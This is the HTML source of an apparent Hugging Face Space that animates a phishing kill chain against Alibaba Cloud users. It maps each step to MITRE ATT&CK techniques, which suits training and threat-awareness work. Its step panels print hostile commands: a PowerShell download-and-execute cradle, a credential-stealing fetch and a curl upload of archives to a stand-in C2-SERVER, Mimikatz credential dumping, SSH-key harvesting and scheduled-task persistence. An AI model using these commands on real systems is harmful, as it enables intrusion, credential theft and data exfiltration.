Hugging Face's logo

Spaces:
capta1n
/
bas
Running

App Files Community
bas / index.html
capta1n's picture
capta1n
Add 1 files
ddbe11e verified
raw
history blame contribute delete
29.9 kB
 <!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Advanced Phishing Attack Sandbox Visualization</title>
<script src="https://cdn.tailwindcss.com"></script>
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.4.0/css/all.min.css">
<style>
.network-line {
position: absolute;
background-color: #e5e7eb;
z-index: 0;
}
.attack-node {
transition: all 0.3s ease;
z-index: 1;
}
.attack-node:hover {
transform: scale(1.05);
box-shadow: 0 10px 15px -3px rgba(0, 0, 0, 0.1);
}
.malicious {
border: 2px solid #ef4444;
}
.compromised {
border: 2px solid #f59e0b;
}
.critical {
border: 2px solid #ef4444;
}
.data-flow {
stroke-dasharray: 5;
animation: dash 30s linear infinite;
}
@keyframes dash {
to {
stroke-dashoffset: -1000;
}
}
.tooltip {
position: absolute;
padding: 8px;
background: rgba(0, 0, 0, 0.8);
color: white;
border-radius: 4px;
pointer-events: none;
font-size: 12px;
z-index: 100;
max-width: 300px;
}
</style>
</head>
<body class="bg-gray-100">
<div class="container mx-auto px-4 py-8">
<h1 class="text-3xl font-bold text-center text-gray-800 mb-2">Advanced Phishing Attack Sandbox</h1>
<p class="text-center text-gray-600 mb-8">Visualization of the complete attack kill chain from initial compromise to data exfiltration</p>
<!-- Attack Legend -->
<div class="bg-white rounded-lg shadow-md p-4 mb-8 grid grid-cols-1 md:grid-cols-4 gap-4">
<div class="flex items-center">
<div class="w-4 h-4 rounded-full bg-red-500 mr-2"></div>
<span class="text-sm">Attacker Infrastructure</span>
</div>
<div class="flex items-center">
<div class="w-4 h-4 rounded-full bg-blue-500 mr-2"></div>
<span class="text-sm">Victim Assets</span>
</div>
<div class="flex items-center">
<div class="w-4 h-4 rounded-full bg-yellow-500 mr-2"></div>
<span class="text-sm">Compromised Systems</span>
</div>
<div class="flex items-center">
<div class="w-4 h-4 rounded-full bg-green-500 mr-2"></div>
<span class="text-sm">Data Exfiltration</span>
</div>
</div>
<!-- Sandbox Visualization -->
<div class="relative bg-white rounded-xl shadow-lg p-6 h-[600px] overflow-hidden border border-gray-200">
<!-- Background Network Lines -->
<div class="absolute inset-0 opacity-20">
<div class="absolute left-1/4 top-0 bottom-0 w-px bg-gray-300"></div>
<div class="absolute left-2/4 top-0 bottom-0 w-px bg-gray-300"></div>
<div class="absolute left-3/4 top-0 bottom-0 w-px bg-gray-300"></div>
<div class="absolute top-1/3 left-0 right-0 h-px bg-gray-300"></div>
<div class="absolute top-2/3 left-0 right-0 h-px bg-gray-300"></div>
</div>
<!-- Attacker Infrastructure -->
<div id="attacker" class="attack-node absolute left-[10%] top-[15%] bg-red-50 p-4 rounded-lg shadow-sm border-2 border-red-300 w-[160px] text-center">
<div class="bg-red-100 p-3 rounded-full inline-block mb-2">
<i class="fas fa-user-secret text-red-600 text-xl"></i>
</div>
<h3 class="font-bold text-red-800">Attacker</h3>
<p class="text-xs text-red-600 mt-1">C2: 185.143.223.47</p>
</div>
<!-- Phishing Server -->
<div id="phishing" class="attack-node absolute left-[10%] top-[40%] bg-red-50 p-4 rounded-lg shadow-sm border-2 border-red-300 w-[160px] text-center">
<div class="bg-red-100 p-3 rounded-full inline-block mb-2">
<i class="fas fa-server text-red-600 text-xl"></i>
</div>
<h3 class="font-bold text-red-800">Phishing Server</h3>
<p class="text-xs text-red-600 mt-1">aliyun-support[.]com</p>
</div>
<!-- Malicious Document -->
<div id="document" class="attack-node absolute left-[10%] top-[65%] bg-red-50 p-4 rounded-lg shadow-sm border-2 border-red-300 w-[160px] text-center">
<div class="bg-red-100 p-3 rounded-full inline-block mb-2">
<i class="fas fa-file-word text-red-600 text-xl"></i>
</div>
<h3 class="font-bold text-red-800">Malicious Doc</h3>
<p class="text-xs text-red-600 mt-1">阿里云安全报告_v2023.pdf</p>
</div>
<!-- Victim -->
<div id="victim" class="attack-node absolute left-[35%] top-[40%] bg-blue-50 p-4 rounded-lg shadow-sm border-2 border-blue-300 w-[160px] text-center">
<div class="bg-blue-100 p-3 rounded-full inline-block mb-2">
<i class="fas fa-user text-blue-600 text-xl"></i>
</div>
<h3 class="font-bold text-blue-800">Employee</h3>
<p class="text-xs text-blue-600 mt-1">user@company.com</p>
</div>
<!-- Compromised Workstation -->
<div id="workstation" class="attack-node absolute left-[60%] top-[40%] bg-yellow-50 p-4 rounded-lg shadow-sm border-2 border-yellow-300 w-[160px] text-center compromised">
<div class="bg-yellow-100 p-3 rounded-full inline-block mb-2">
<i class="fas fa-laptop-code text-yellow-600 text-xl"></i>
</div>
<h3 class="font-bold text-yellow-800">Workstation</h3>
<p class="text-xs text-yellow-600 mt-1">Cobalt Strike Beacon</p>
</div>
<!-- Internal SSH Server -->
<div id="ssh-server" class="attack-node absolute left-[60%] top-[15%] bg-blue-50 p-4 rounded-lg shadow-sm border-2 border-blue-300 w-[160px] text-center">
<div class="bg-blue-100 p-3 rounded-full inline-block mb-2">
<i class="fas fa-shield-alt text-blue-600 text-xl"></i>
</div>
<h3 class="font-bold text-blue-800">SSH Server</h3>
<p class="text-xs text-blue-600 mt-1">10.0.0.5</p>
</div>
<!-- Compromised SSH Server -->
<div id="compromised-ssh" class="attack-node absolute left-[60%] top-[15%] bg-yellow-50 p-4 rounded-lg shadow-sm border-2 border-yellow-300 w-[160px] text-center compromised hidden">
<div class="bg-yellow-100 p-3 rounded-full inline-block mb-2">
<i class="fas fa-shield-alt text-yellow-600 text-xl"></i>
</div>
<h3 class="font-bold text-yellow-800">SSH Server</h3>
<p class="text-xs text-yellow-600 mt-1">10.0.0.5 (Compromised)</p>
</div>
<!-- Internal Database -->
<div id="database" class="attack-node absolute left-[85%] top-[40%] bg-blue-50 p-4 rounded-lg shadow-sm border-2 border-blue-300 w-[160px] text-center">
<div class="bg-blue-100 p-3 rounded-full inline-block mb-2">
<i class="fas fa-database text-blue-600 text-xl"></i>
</div>
<h3 class="font-bold text-blue-800">Database</h3>
<p class="text-xs text-blue-600 mt-1">10.0.1.10</p>
</div>
<!-- Exfiltrated Data -->
<div id="exfiltration" class="attack-node absolute left-[85%] top-[65%] bg-green-50 p-4 rounded-lg shadow-sm border-2 border-green-300 w-[160px] text-center hidden">
<div class="bg-green-100 p-3 rounded-full inline-block mb-2">
<i class="fas fa-cloud-download-alt text-green-600 text-xl"></i>
</div>
<h3 class="font-bold text-green-800">Exfiltrated Data</h3>
<p class="text-xs text-green-600 mt-1">*.sql, *.pem, *.key</p>
</div>
<!-- Attack Flow Arrows (dynamically drawn with JS) -->
<svg class="absolute inset-0 w-full h-full" id="attack-flow"></svg>
<!-- Attack Timeline Controls -->
<div class="absolute bottom-4 left-0 right-0 flex justify-center">
<div class="bg-white rounded-lg shadow-md p-4 flex items-center space-x-4">
<button id="prev-step" class="px-3 py-1 bg-gray-200 rounded-md hover:bg-gray-300">
<i class="fas fa-chevron-left"></i>
</button>
<div class="text-sm font-medium" id="current-step">Step 1: Initial Phishing</div>
<button id="next-step" class="px-3 py-1 bg-gray-200 rounded-md hover:bg-gray-300">
<i class="fas fa-chevron-right"></i>
</button>
<button id="play-attack" class="px-3 py-1 bg-blue-100 text-blue-700 rounded-md hover:bg-blue-200 ml-4">
<i class="fas fa-play mr-1"></i> Play Attack
</button>
</div>
</div>
<!-- Tooltip -->
<div class="tooltip hidden" id="attack-tooltip"></div>
</div>
<!-- Attack Step Details -->
<div class="mt-8 bg-white rounded-lg shadow-md p-6">
<h2 class="text-xl font-bold text-gray-800 mb-4" id="step-title">Step 1: Initial Phishing</h2>
<div class="grid grid-cols-1 md:grid-cols-2 gap-6">
<div>
<h3 class="font-medium text-gray-700 mb-2">Technical Details</h3>
<div class="bg-gray-50 p-4 rounded-md" id="step-details">
<ul class="list-disc pl-5 text-sm text-gray-600 space-y-1">
<li>Email subjects: "紧急通知：阿里云账号异常登录提醒"</li>
<li>Body mimics official Alibaba Cloud communications</li>
<li>Contains malicious attachment or phishing link</li>
<li>Spoofed sender: security@alibaba-inc.com</li>
</ul>
</div>
</div>
<div>
<h3 class="font-medium text-gray-700 mb-2">MITRE ATT&CK Mapping</h3>
<div class="bg-gray-50 p-4 rounded-md">
<div class="flex items-center mb-2">
<span class="bg-blue-100 text-blue-800 text-xs font-medium px-2.5 py-0.5 rounded mr-2">T1566.001</span>
<span>Spearphishing Attachment</span>
</div>
<div class="flex items-center">
<span class="bg-purple-100 text-purple-800 text-xs font-medium px-2.5 py-0.5 rounded mr-2">T1598</span>
<span>Phishing for Information</span>
</div>
</div>
</div>
</div>
</div>
</div>
<script>
// Attack steps data
const attackSteps = [
{
title: "Step 1: Initial Phishing",
details: `
<ul class="list-disc pl-5 text-sm text-gray-600 space-y-1">
<li>Email subjects: "紧急通知：阿里云账号异常登录提醒" or "内部会议纪要（机密）"</li>
<li>Body mimics official Alibaba Cloud communications</li>
<li>Contains malicious attachment or phishing link</li>
<li>Attachment: 阿里云安全报告_v2023.pdf (malicious macro)</li>
<li>Phishing URL: https://aliyun-support[.]com/verify</li>
<li>Spoofed sender: security@alibaba-inc.com</li>
<li>Typosquatting domain: al1baba-inc[.]com</li>
</ul>
`,
mitre: [
{ id: "T1566.001", name: "Spearphishing Attachment" },
{ id: "T1598", name: "Phishing for Information" }
],
draw: (svg) => {
// Draw line from attacker to phishing server
drawLine(svg, "#attacker", "#phishing", "red");
// Draw line from phishing server to victim
drawLine(svg, "#phishing", "#victim", "red");
// Draw line from attacker to malicious doc
drawLine(svg, "#attacker", "#document", "red");
// Draw line from malicious doc to victim
drawLine(svg, "#document", "#victim", "red");
}
},
{
title: "Step 2: Payload Execution",
details: `
<ul class="list-disc pl-5 text-sm text-gray-600 space-y-1">
<li>Victim opens malicious document and enables macros</li>
<li>Macro executes PowerShell payload:</li>
<div class="bg-gray-200 p-2 rounded mt-2 font-mono text-xs">
powershell IEX (New-Object Net.WebClient).DownloadString('http://C2-SERVER/payload.ps1')
</div>
<li>Or victim enters credentials on phishing site</li>
<li>JavaScript steals credentials:</li>
<div class="bg-gray-200 p-2 rounded mt-2 font-mono text-xs">
fetch('http://C2-SERVER/steal', {<br>
&nbsp;&nbsp;method: 'POST',<br>
&nbsp;&nbsp;body: JSON.stringify({user: username, pass: password})<br>
});
</div>
</ul>
`,
mitre: [
{ id: "T1059.001", name: "PowerShell" },
{ id: "T1204.002", name: "Malicious File" }
],
draw: (svg) => {
// Previous steps
attackSteps[0].draw(svg);
// Highlight victim
document.querySelector("#victim").classList.add("critical");
// Draw line from victim to workstation (compromise)
drawLine(svg, "#victim", "#workstation", "red", 3);
// Draw line from workstation to attacker (C2)
drawLine(svg, "#workstation", "#attacker", "red", 2, true);
}
},
{
title: "Step 3: C2 Implantation",
details: `
<ul class="list-disc pl-5 text-sm text-gray-600 space-y-1">
<li>Cobalt Strike beacon established</li>
<li>Persistence mechanisms installed:</li>
<div class="bg-gray-200 p-2 rounded mt-2 font-mono text-xs">
Registry: HKCU\Software\Microsoft\Windows\CurrentVersion\Run<br>
Task: schtasks /create /tn "Windows Update" /tr "C:\Windows\System32\malicious.exe"
</div>
<li>C2 configuration:</li>
<div class="bg-gray-200 p-2 rounded mt-2 font-mono text-xs">
windows/x64/reflective PE<br>
HTTPS with valid certificate<br>
Multiple IP rotation via CDN
</div>
</ul>
`,
mitre: [
{ id: "T1572", name: "Protocol Tunneling" },
{ id: "T1547.001", name: "Registry Run Keys" },
{ id: "T1053", name: "Scheduled Task" }
],
draw: (svg) => {
// Previous steps
attackSteps[1].draw(svg);
// Highlight workstation as compromised
document.querySelector("#workstation").classList.remove("critical");
document.querySelector("#workstation").classList.add("compromised");
// Draw ongoing C2 communication
drawLine(svg, "#workstation", "#attacker", "red", 2, true);
}
},
{
title: "Step 4: Credential Theft",
details: `
<ul class="list-disc pl-5 text-sm text-gray-600 space-y-1">
<li>Credential harvesting:</li>
<div class="bg-gray-200 p-2 rounded mt-2 font-mono text-xs">
Mimikatz !sekurlsa::logonpasswords<br>
Search C:\Users\*\.ssh\id_rsa<br>
cmdkey /list
</div>
<li>Browser cookie theft:</li>
<div class="bg-gray-200 p-2 rounded mt-2 font-mono text-xs">
Decrypt Chrome/Edge cookies<br>
Filter for alibaba-inc.com sessions
</div>
<li>SSH key discovery:</li>
<div class="bg-gray-200 p-2 rounded mt-2 font-mono text-xs">
C:\Users\*\.ssh\id_rsa<br>
C:\Users\*\.ssh\config
</div>
</ul>
`,
mitre: [
{ id: "T1555", name: "Credentials from Password Stores" },
{ id: "T1552.001", name: "Credentials In Files" },
{ id: "T1539", name: "Steal Web Session Cookie" }
],
draw: (svg) => {
// Previous steps
attackSteps[2].draw(svg);
// Draw credential theft to attacker
drawLine(svg, "#workstation", "#attacker", "red", 3, true);
// Add tooltip to show credential flow
addTooltip("#workstation", "Sending stolen credentials to C2");
}
},
{
title: "Step 5: Lateral Movement",
details: `
<ul class="list-disc pl-5 text-sm text-gray-600 space-y-1">
<li>Internal reconnaissance:</li>
<div class="bg-gray-200 p-2 rounded mt-2 font-mono text-xs">
nmap -sS 10.0.0.0/24<br>
for ip in {1..254}; do ssh -o ConnectTimeout=1 user@10.0.0.$ip; done
</div>
<li>SSH access using stolen credentials:</li>
<div class="bg-gray-200 p-2 rounded mt-2 font-mono text-xs">
ssh -i id_rsa user@10.0.0.5<br>
plink.exe -ssh -P 22 -i id_rsa user@10.0.0.6
</div>
<li>Browser proxy for internal access:</li>
<div class="bg-gray-200 p-2 rounded mt-2 font-mono text-xs">
proxychains4 -q -f /path/to/config.txt firefox<br>
Proxy config: 1.2.3.4:8080
</div>
</ul>
`,
mitre: [
{ id: "T1021.004", name: "Remote Services: SSH" },
{ id: "T1090", name: "Proxy" },
{ id: "T1018", name: "Remote System Discovery" }
],
draw: (svg) => {
// Previous steps
attackSteps[3].draw(svg);
// Show compromised SSH server
document.querySelector("#ssh-server").classList.add("hidden");
document.querySelector("#compromised-ssh").classList.remove("hidden");
// Draw line from workstation to SSH server
drawLine(svg, "#workstation", "#compromised-ssh", "red", 3);
// Add tooltip to show lateral movement
addTooltip("#compromised-ssh", "Using stolen SSH keys for access");
}
},
{
title: "Step 6: Data Exfiltration",
details: `
<ul class="list-disc pl-5 text-sm text-gray-600 space-y-1">
<li>Target files for exfiltration:</li>
<div class="bg-gray-200 p-2 rounded mt-2 font-mono text-xs">
*.pem, *.key, *.sql, *.db
</div>
<li>Data collection methods:</li>
<div class="bg-gray-200 p-2 rounded mt-2 font-mono text-xs">
Browser JavaScript injection:<br>
document.querySelectorAll('input[type="password"]')
</div>
<li>Exfiltration techniques:</li>
<div class="bg-gray-200 p-2 rounded mt-2 font-mono text-xs">
split -b 5MB sensitive.tar.gz | curl -X POST -F 'file=@-' http://C2-SERVER/upload
</div>
</ul>
`,
mitre: [
{ id: "T1041", name: "Exfiltration Over C2 Channel" },
{ id: "T1020", name: "Automated Exfiltration" },
{ id: "T1567", name: "Exfiltration Over Web Service" }
],
draw: (svg) => {
// Previous steps
attackSteps[4].draw(svg);
// Show exfiltrated data
document.querySelector("#exfiltration").classList.remove("hidden");
// Draw line from database to exfiltration
drawLine(svg, "#database", "#exfiltration", "green", 3);
// Draw line from exfiltration to attacker
drawLine(svg, "#exfiltration", "#attacker", "green", 3, true);
// Add tooltip to show data flow
addTooltip("#exfiltration", "Sensitive data being exfiltrated to attacker");
}
}
];
// Current step index
let currentStep = 0;
// Draw line between elements
function drawLine(svg, fromSelector, toSelector, color = "red", width = 2, animate = false) {
const fromEl = document.querySelector(fromSelector);
const toEl = document.querySelector(toSelector);
if (!fromEl || !toEl) return;
const fromRect = fromEl.getBoundingClientRect();
const toRect = toEl.getBoundingClientRect();
const svgRect = svg.getBoundingClientRect();
const x1 = fromRect.left + fromRect.width/2 - svgRect.left;
const y1 = fromRect.top + fromRect.height/2 - svgRect.top;
const x2 = toRect.left + toRect.width/2 - svgRect.left;
const y2 = toRect.top + toRect.height/2 - svgRect.top;
const line = document.createElementNS("http://www.w3.org/2000/svg", "line");
line.setAttribute("x1", x1);
line.setAttribute("y1", y1);
line.setAttribute("x2", x2);
line.setAttribute("y2", y2);
line.setAttribute("stroke", color);
line.setAttribute("stroke-width", width);
line.setAttribute("stroke-linecap", "round");
if (animate) {
line.classList.add("data-flow");
}
svg.appendChild(line);
}
// Add tooltip to element
function addTooltip(selector, text) {
const el = document.querySelector(selector);
const tooltip = document.getElementById("attack-tooltip");
if (!el || !tooltip) return;
el.addEventListener("mouseenter", (e) => {
const rect = el.getBoundingClientRect();
tooltip.textContent = text;
tooltip.style.left = `${rect.left + rect.width/2 - 150}px`;
tooltip.style.top = `${rect.top - 40}px`;
tooltip.classList.remove("hidden");
});
el.addEventListener("mouseleave", () => {
tooltip.classList.add("hidden");
});
}
// Update visualization for current step
function updateVisualization() {
const svg = document.getElementById("attack-flow");
svg.innerHTML = "";
// Reset all elements
document.querySelectorAll(".attack-node").forEach(el => {
el.classList.remove("critical", "compromised");
el.classList.remove("hidden");
});
document.getElementById("exfiltration").classList.add("hidden");
document.getElementById("compromised-ssh").classList.add("hidden");
document.getElementById("ssh-server").classList.remove("hidden");
// Draw current step
attackSteps[currentStep].draw(svg);
// Update step info
document.getElementById("step-title").textContent = attackSteps[currentStep].title;
document.getElementById("step-details").innerHTML = attackSteps[currentStep].details;
document.getElementById("current-step").textContent = attackSteps[currentStep].title;
// Update MITRE ATT&CK
const mitreContainer = document.querySelector(".bg-gray-50 > div:last-child");
mitreContainer.innerHTML = attackSteps[currentStep].mitre.map(item => `
<div class="flex items-center mb-2">
<span class="bg-blue-100 text-blue-800 text-xs font-medium px-2.5 py-0.5 rounded mr-2">${item.id}</span>
<span>${item.name}</span>
</div>
`).join("");
}
// Initialize
document.addEventListener("DOMContentLoaded", () => {
updateVisualization();
// Navigation controls
document.getElementById("prev-step").addEventListener("click", () => {
if (currentStep > 0) {
currentStep--;
updateVisualization();
}
});
document.getElementById("next-step").addEventListener("click", () => {
if (currentStep < attackSteps.length - 1) {
currentStep++;
updateVisualization();
}
});
// Play attack animation
document.getElementById("play-attack").addEventListener("click", () => {
currentStep = 0;
updateVisualization();
let i = 0;
const interval = setInterval(() => {
if (i < attackSteps.length - 1) {
i++;
currentStep = i;
updateVisualization();
} else {
clearInterval(interval);
}
}, 2000);
});
// Add tooltips to all attack nodes
addTooltip("#attacker", "Attacker controlled infrastructure");
addTooltip("#phishing", "Phishing server hosting fake login page");
addTooltip("#document", "Malicious document with embedded macro");
addTooltip("#victim", "Targeted employee receiving phishing email");
addTooltip("#workstation", "Compromised workstation with C2 beacon");
addTooltip("#ssh-server", "Internal SSH server target");
addTooltip("#compromised-ssh", "Compromised SSH server via stolen keys");
addTooltip("#database", "Internal database with sensitive information");
addTooltip("#exfiltration", "Stolen data being sent to attacker");
});
</script>
<p style="border-radius: 8px; text-align: center; font-size: 12px; color: #fff; margin-top: 16px;position: fixed; left: 8px; bottom: 8px; z-index: 10; background: rgba(0, 0, 0, 0.8); padding: 4px 8px;">Made with <img src="https://enzostvs-deepsite.hf.space/logo.svg" alt="DeepSite Logo" style="width: 16px; height: 16px; vertical-align: middle;display:inline-block;margin-right:3px;filter:brightness(0) invert(1);"><a href="https://enzostvs-deepsite.hf.space" style="color: #fff;text-decoration: underline;" target="_blank" >DeepSite</a> - 🧬 <a href="https://enzostvs-deepsite.hf.space?remix=capta1n/bas" style="color: #fff;text-decoration: underline;" target="_blank" >Remix</a></p></body>
</html>